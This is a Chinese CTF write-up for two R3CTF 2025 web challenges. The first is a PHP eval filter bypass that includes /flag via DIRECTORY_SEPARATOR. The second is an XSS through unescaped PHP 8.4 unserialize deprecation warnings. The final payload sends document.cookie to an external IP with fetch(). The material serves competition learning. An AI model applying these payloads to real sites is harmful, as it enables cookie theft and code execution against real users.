2025 R3CTF
文章目录
- Evalgelist
- Silent Profit(复现)
Evalgelist
<?phpif (isset($_GET['input'])) {echo '<div class="output">';$filtered = str_replace(['$', '(', ')', '`', '"', "'", "+", ":", "/", "!", "?"], '', $_GET['input']);$cmd = $filtered . '();';echo '<strong>After Security Filtering:</strong> <span class="filtered">' . htmlspecialchars($cmd) . '</span>' . "\n\n";echo '<strong>Execution Result:</strong>' . "\n";echo '<div style="border-left: 3px solid #007bff; padding-left: 15px; margin-left: 10px;">';try {ob_start();eval($cmd);$result = ob_get_clean();if (!empty($result)) {echo '<span class="success">✅ Function executed successfully!</span>' . "\n";echo htmlspecialchars($result);} else {echo '<span class="success">✅ Function executed (no output)</span>';}} catch (Error $e) {echo '<span class="error">❌ Error: ' . htmlspecialchars($e->getMessage()) . '</span>';} catch (Exception $e) {echo '<span class="error">❌ Exception: ' . htmlspecialchars($e->getMessage()) . '</span>';}echo '</div>';echo '</div>';}?>
没有过滤;
, 可以执行多条语句
在php中,未被双引号包裹的字符串会被定义为常量,若是找不到这个常量就会被自动转化成字符串
include
在包含文件的时候会查找include_path
环境变量中的路径,一般就是 .:/usr/local/lib/php
.
-> 当前目录 , /usr/local/lib/php
->系统 PEAR 库路径
所以可以通过include 文件名;die
来读取当前目录的文件
比如我在当前目录新建一个flag的文件,include flag
就可以读取这个文件的内容,虽然会有警告,但是依然会往下执行
(如果文件里面符合php的语法,也会当成php文件进行执行)
因为没有引号包裹的原因,是无法读取像 index.php
的这种文件的,这种文件会被当成两个字符串通过.
进行拼接,也就是会去查找indexphp
这个文件名
flag在/flag
下,但是/
被过滤了,无法直接include /flag
读取文件
不过就算
/
没被过滤,好像也不能直接通过include /flag
进行读取
所以就需要想办法拼接一个/flag
php中存在一个常量DIRECTORY_SEPARATOR
可以表示/
, 通过.
进行拼接就可以得到/flag
构造payload:include DIRECTORY_SEPARATOR.flag;die
Silent Profit(复现)
bot.js
const express = require('express');
const puppeteer = require('puppeteer');const app = express();app.use(express.urlencoded({ extended: false }));const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;app.post('/report', async (req, res) => {const { url } = req.body;if (!url || !url.startsWith('http://challenge/')) {return res.status(400).send('Invalid URL');}try {console.log(`[+] Visiting: ${url}`);const browser = await puppeteer.launch({headless: 'new',args: ['--no-sandbox','--disable-setuid-sandbox',]});await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });const page = await browser.newPage();await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });await page.waitForNetworkIdle({timeout: 5000})await browser.close();res.send('URL visited by bot!');} catch (err) {console.error(`[!] Error visiting URL:`, err);res.status(500).send('Bot error visiting URL');}
});app.get('/', (req, res) => {res.send(`<h2>XSS Bot</h2><form method="POST" action="/report"><input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" /><button type="submit">Submit</button></form>`);
});app.listen(PORT, () => {console.log(`XSS bot running at port ${PORT}`);
});
index.php
<?php
show_source(__FILE__);
unserialize($_GET['data']);
只有这两行代码去实现反序列化,想要实现xss
的攻击,肯定是需要控制信息显示在浏览器上面
题目环境是php8.4
,所以可能就是这个版本有关于unserialize
函数的报错的相关修改
PHP 8.1 新引入的 enum
枚举序列化格式,传入一个enum
对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面
试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗
因为常规的错误信息输出函数(如php_error_docref
)会对输出进行HTML转义,所以无法直接触发XSS。
所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误
PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名
此警告通过
zend_error()
输出,不会进行 HTML 转义
这样我们就可以通过控制属性名来进行xss了
添加一个test
类进行测试
反序列化时添加一个动态的属性aa
,就会发现这个属性名被回显到里浏览器上面
将其替换成xss的payload,发现可以弹窗
那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了
这样的类有很多,可以用Exception
来构造
O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}
最终的payload:
url=http://challenge/?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://8.154.17.163:8080?flag=${document.cookie}`)</script>";i:2;}
参考文章
https://baozongwi.xyz/2025/07/05/R3CTF2025/
https://qiita.com/singetu0096/items/65621ba135544e262518